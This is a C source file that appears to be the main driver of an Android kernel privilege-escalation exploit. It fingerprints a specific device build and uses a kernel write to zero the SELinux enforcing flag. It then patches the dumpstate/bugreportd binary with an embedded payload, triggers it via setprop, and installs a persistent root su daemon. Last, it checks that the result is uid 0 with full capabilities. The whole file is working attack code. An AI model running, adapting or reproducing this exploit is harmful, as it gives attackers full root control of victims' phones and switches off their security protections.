#include "common.h"

#include "target.h"

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/system_properties.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <time.h>
#include <unistd.h>

enum {
	PROOF_TIMEOUT_SECONDS = 90,
};

static const unsigned char carrier_preimage[] = {
	0x1d, 0x00, 0x80, 0xd2, 0x1e, 0x00, 0x80, 0xd2,
	0xe0, 0x03, 0x00, 0x91, 0x04, 0x00, 0x00, 0x14,
};

static size_t blob_size(const unsigned char *start,
			const unsigned char *end)
{
	return (size_t)(end - start);
}

static pid_t trigger_carrier(void)
{
	pid_t pid = fork();

	if (pid != 0)
		return pid;
	setsid();
	execl("/system/bin/setprop", "setprop", "ctl.start",
	      TARGET_CARRIER_SERVICE, (char *)NULL);
	_exit(127);
}

int main(int argc, char **argv)
{
	const size_t carrier_size = blob_size(dumpstate_payload_start,
					      dumpstate_payload_end);
	struct utsname uts;
	struct stat challenge_stat;
	struct stat socket_stat;
	struct stat su_stat;
	struct timespec now;
	char fingerprint[PROP_VALUE_MAX] = {0};
	char challenge_token[64];
	char command[1024];
	char warm;
	char *challenge;
	char *initial_context;
	char *su_output;
	pid_t trigger;
	int fingerprint_length;
	int initial_enforcing;
	int su_status;
	int pass;
	int fd;

	if (argc >= 2 && strcmp(argv[1], "--daemon") == 0)
		return su_daemon_main(argv[0]);
	if (access(TARGET_SU_SOCKET, F_OK) == 0 &&
	    process_running(TARGET_SU_PATH))
		return su_client_main(argc, argv);
	if (argc != 1) {
		fprintf(stderr, "root daemon is not running; invoke without arguments first\n");
		return 2;
	}

	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	orchestrator_init();
	initial_enforcing = selinux_enforcing();
	initial_context = read_file("/proc/self/attr/current");
	if (initial_context)
		initial_context[strcspn(initial_context, "\r\n")] = 0;
	uname(&uts);
	fingerprint_length = __system_property_get("ro.build.fingerprint",
						   fingerprint);
	printf("ENV uid=%u gid=%u context=%s page_size=%ld selinux=%s "
	       "uname=%s %s %s %s\n",
	       getuid(), getgid(),
	       initial_context ? initial_context : "<missing>",
	       sysconf(_SC_PAGESIZE),
	       initial_enforcing == 1 ? "Enforcing" : "not-Enforcing",
	       uts.sysname, uts.release, uts.version, uts.machine);
	printf("ENV fingerprint=%s\n",
	       fingerprint_length > 0 ? fingerprint : "<missing>");
	printf("ENV carrier=%s service=%s payload_size=%zu\n",
	       TARGET_CARRIER_PATH, TARGET_CARRIER_SERVICE, carrier_size);
	printf("ENV su_path=%s su_socket=%s\n",
	       TARGET_SU_PATH, TARGET_SU_SOCKET);

	if (getuid() != 2000 || sysconf(_SC_PAGESIZE) != EXPLOIT_PAGE_SIZE ||
	    initial_enforcing != 1 || !initial_context ||
	    strcmp(initial_context, "u:r:shell:s0") != 0) {
		free(initial_context);
		printf("RESULT FAIL initial_environment\n");
		return 1;
	}
	free(initial_context);
	if (strcmp(uts.sysname, "Linux") != 0 ||
	    strcmp(uts.release, TARGET_RELEASE) != 0 ||
	    strcmp(uts.version, TARGET_VERSION) != 0 ||
	    strcmp(uts.machine, "aarch64") != 0 || fingerprint_length <= 0 ||
	    strcmp(fingerprint, TARGET_FINGERPRINT) != 0) {
		printf("RESULT FAIL target_profile\n");
		return 1;
	}
	if (carrier_size != 78) {
		printf("RESULT FAIL payload_layout\n");
		return 1;
	}
	if (process_running(TARGET_CARRIER_PATH)) {
		printf("RESULT FAIL carrier_not_cold\n");
		return 1;
	}
	if (process_running(TARGET_SU_PATH) ||
	    access(TARGET_SU_SOCKET, F_OK) == 0 ||
	    access(TARGET_ROOT_CHALLENGE, F_OK) == 0) {
		printf("RESULT FAIL stale_root_state\n");
		return 1;
	}
	if (su_install_self(TARGET_SU_PATH) != 0) {
		printf("RESULT FAIL su_install errno=%d\n", errno);
		return 1;
	}

	printf("STAGE selinux_zero target=0x%016llx\n",
	       (unsigned long long)TARGET_SELINUX_ENFORCING_ALIAS);
	if (zero_selinux(TARGET_SELINUX_ENFORCING_ALIAS) != 0) {
		printf("RESULT FAIL selinux_zero\n");
		return 1;
	}
	printf("SELINUX_AFTER Permissive\n");

	fd = open(TARGET_CARRIER_PATH, O_RDONLY | O_CLOEXEC);
	if (fd < 0 || pread(fd, &warm, 1, 0) != 1) {
		if (fd >= 0)
			close(fd);
		printf("RESULT FAIL carrier_page_in errno=%d\n", errno);
		return 1;
	}
	close(fd);
	printf("STAGE carrier_patch start\n");
	if (patch_retry("carrier", TARGET_CARRIER_PATH,
			TARGET_CARRIER_PATCH_OFFSET,
			dumpstate_payload_start, carrier_size,
			carrier_preimage, sizeof(carrier_preimage)) != 0)
		return 1;

	printf("STAGE carrier_trigger ctl.start=%s\n", TARGET_CARRIER_SERVICE);
	trigger = trigger_carrier();
	if (trigger < 0) {
		printf("RESULT FAIL trigger_fork\n");
		return 1;
	}
	for (int i = 0; i < PROOF_TIMEOUT_SECONDS * 10; i++) {
		if (access(TARGET_SU_SOCKET, F_OK) == 0 &&
		    process_running(TARGET_SU_PATH))
			break;
		usleep(100000);
	}
	if (trigger > 0) {
		kill(trigger, SIGTERM);
		(void)wait_child(trigger, 2, false);
	}
	clock_gettime(CLOCK_MONOTONIC, &now);
	snprintf(challenge_token, sizeof(challenge_token), "%08x%08lx%08lx",
		 (unsigned int)getpid(), (unsigned long)now.tv_sec,
		 (unsigned long)now.tv_nsec);
	snprintf(command, sizeof(command),
		 "umask 022; p=%s; rm -f \"$p\"; "
		 "printf '%%s\\n' '%s' >\"$p\"; chown 0:0 \"$p\"; "
		 "chmod 0644 \"$p\"; id; id -Z; getenforce; "
		 "cat /proc/$$/status",
		 TARGET_ROOT_CHALLENGE, challenge_token);
	su_output = su_run_command(command, &su_status);
	challenge = read_file(TARGET_ROOT_CHALLENGE);
	memset(&challenge_stat, 0, sizeof(challenge_stat));
	memset(&socket_stat, 0, sizeof(socket_stat));
	memset(&su_stat, 0, sizeof(su_stat));
	(void)lstat(TARGET_ROOT_CHALLENGE, &challenge_stat);
	(void)lstat(TARGET_SU_SOCKET, &socket_stat);
	(void)lstat(TARGET_SU_PATH, &su_stat);
	printf("SU_PROOF\n%s\n", su_output ? su_output : "<missing>");
	printf("SU_METADATA binary_uid=%u binary_gid=%u binary_mode=%04o "
	       "socket_uid=%u socket_gid=%u socket_mode=%04o "
	       "challenge_uid=%u challenge_gid=%u challenge_mode=%04o "
	       "challenge=%s\n",
	       su_stat.st_uid, su_stat.st_gid, su_stat.st_mode & 07777,
	       socket_stat.st_uid, socket_stat.st_gid,
	       socket_stat.st_mode & 07777,
	       challenge_stat.st_uid, challenge_stat.st_gid,
	       challenge_stat.st_mode & 07777,
	       challenge ? challenge : "<missing>");
	pass = su_status == 0 && su_output && challenge &&
		strstr(su_output, "uid=0(root)") &&
		strstr(su_output, TARGET_CARRIER_CONTEXT) &&
		strstr(su_output, "Permissive") &&
		status_has(su_output, "CapPrm:", "000001ffffffffff") &&
		status_has(su_output, "CapEff:", "000001ffffffffff") &&
		status_has(su_output, "CapBnd:", "000001ffffffffff") &&
		status_has(su_output, "NoNewPrivs:", "0") &&
		status_has(su_output, "Seccomp:", "0") &&
		strstr(challenge, challenge_token) &&
		S_ISREG(challenge_stat.st_mode) &&
		challenge_stat.st_uid == 0 && challenge_stat.st_gid == 0 &&
		(challenge_stat.st_mode & 0777) == 0644 &&
		S_ISSOCK(socket_stat.st_mode) &&
		socket_stat.st_uid == 0 && socket_stat.st_gid == 2000 &&
		(socket_stat.st_mode & 0777) == 0660 &&
		S_ISREG(su_stat.st_mode) &&
		su_stat.st_uid == 0 && su_stat.st_gid == 0 &&
		(su_stat.st_mode & 0777) == 0755 &&
		process_running(TARGET_SU_PATH) &&
		selinux_enforcing() == 0;
	free(su_output);
	free(challenge);
	if (!pass) {
		printf("RESULT FAIL exploit\n");
		return 1;
	}
	printf("RESULT PASS exploit uid0=1 full_caps=1 selinux=Permissive "
	       "carrier=bugreportd direct_daemon=1 functional_su=1 "
	       "kernel_side_effect=1 no_gdb=1 "
	       "no_rtmutex=1 no_ashmem=1\n");
	return 0;
}
